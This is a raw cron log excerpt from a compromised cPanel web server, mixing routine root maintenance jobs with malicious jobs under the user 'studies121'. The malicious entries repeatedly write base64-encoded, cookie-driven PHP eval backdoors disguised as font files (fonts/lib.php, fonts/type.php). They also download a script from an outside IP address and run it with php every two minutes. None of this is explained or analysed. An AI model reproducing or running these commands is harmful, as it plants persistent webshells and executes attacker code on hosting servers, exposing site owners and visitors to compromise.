Feb 22 05:24:01 ip-184-168-122-23 CROND[22358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:25:01 ip-184-168-122-23 CROND[22687]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:25:01 ip-184-168-122-23 CROND[22690]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:25:01 ip-184-168-122-23 CROND[22693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:25:01 ip-184-168-122-23 CROND[22689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:25:01 ip-184-168-122-23 CROND[22691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:25:01 ip-184-168-122-23 CROND[22692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:26:01 ip-184-168-122-23 CROND[23039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:26:01 ip-184-168-122-23 CROND[23043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:26:01 ip-184-168-122-23 CROND[23041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:26:01 ip-184-168-122-23 CROND[23042]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:26:01 ip-184-168-122-23 CROND[23044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:27:01 ip-184-168-122-23 CROND[23394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:27:01 ip-184-168-122-23 CROND[23397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:27:01 ip-184-168-122-23 CROND[23396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:27:01 ip-184-168-122-23 CROND[23401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:28:01 ip-184-168-122-23 CROND[23715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:28:01 ip-184-168-122-23 CROND[23716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:28:01 ip-184-168-122-23 CROND[23718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:28:01 ip-184-168-122-23 CROND[23717]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:28:01 ip-184-168-122-23 CROND[23719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:29:01 ip-184-168-122-23 CROND[24114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:29:01 ip-184-168-122-23 CROND[24116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:29:01 ip-184-168-122-23 CROND[24115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:29:01 ip-184-168-122-23 CROND[24118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:30:01 ip-184-168-122-23 CROND[24432]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 05:30:01 ip-184-168-122-23 CROND[24434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:30:01 ip-184-168-122-23 CROND[24438]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:30:01 ip-184-168-122-23 CROND[24441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:30:01 ip-184-168-122-23 CROND[24443]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Feb 22 05:30:01 ip-184-168-122-23 CROND[24445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:30:01 ip-184-168-122-23 CROND[24446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:30:01 ip-184-168-122-23 CROND[24447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:30:01 ip-184-168-122-23 CROND[24448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:31:01 ip-184-168-122-23 CROND[24794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:31:01 ip-184-168-122-23 CROND[24796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:31:01 ip-184-168-122-23 CROND[24798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:31:01 ip-184-168-122-23 CROND[24800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:31:01 ip-184-168-122-23 CROND[24801]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 05:32:01 ip-184-168-122-23 CROND[25096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:32:01 ip-184-168-122-23 CROND[25099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:32:01 ip-184-168-122-23 CROND[25098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:32:01 ip-184-168-122-23 CROND[25104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:32:01 ip-184-168-122-23 CROND[25100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:33:01 ip-184-168-122-23 CROND[25402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:33:01 ip-184-168-122-23 CROND[25403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:33:01 ip-184-168-122-23 CROND[25404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:33:01 ip-184-168-122-23 CROND[25405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:34:01 ip-184-168-122-23 CROND[25871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:34:01 ip-184-168-122-23 CROND[25873]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:34:01 ip-184-168-122-23 CROND[25874]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:34:01 ip-184-168-122-23 CROND[25870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 05:34:01 ip-184-168-122-23 CROND[25872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:35:01 ip-184-168-122-23 CROND[26198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:35:01 ip-184-168-122-23 CROND[26200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 05:35:01 ip-184-168-122-23 CROND[26202]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 05:35:01 ip-184-168-122-23 CROND[26204]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 05:35:01 ip-184-168-122-23 CROND[26207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:35:01 ip-184-168-122-23 CROND[26209]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 05:35:01 ip-184-168-122-23 CROND[26210]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 05:35:01 ip-184-168-122-23 CROND[26211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:36:01 ip-184-168-122-23 CROND[26561]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 05:36:01 ip-184-168-122-23 CROND[26562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 05:36:01 ip-184-168-122-23 CROND[26566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 05:36:01 ip-184-168-122-23 CROND[26568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
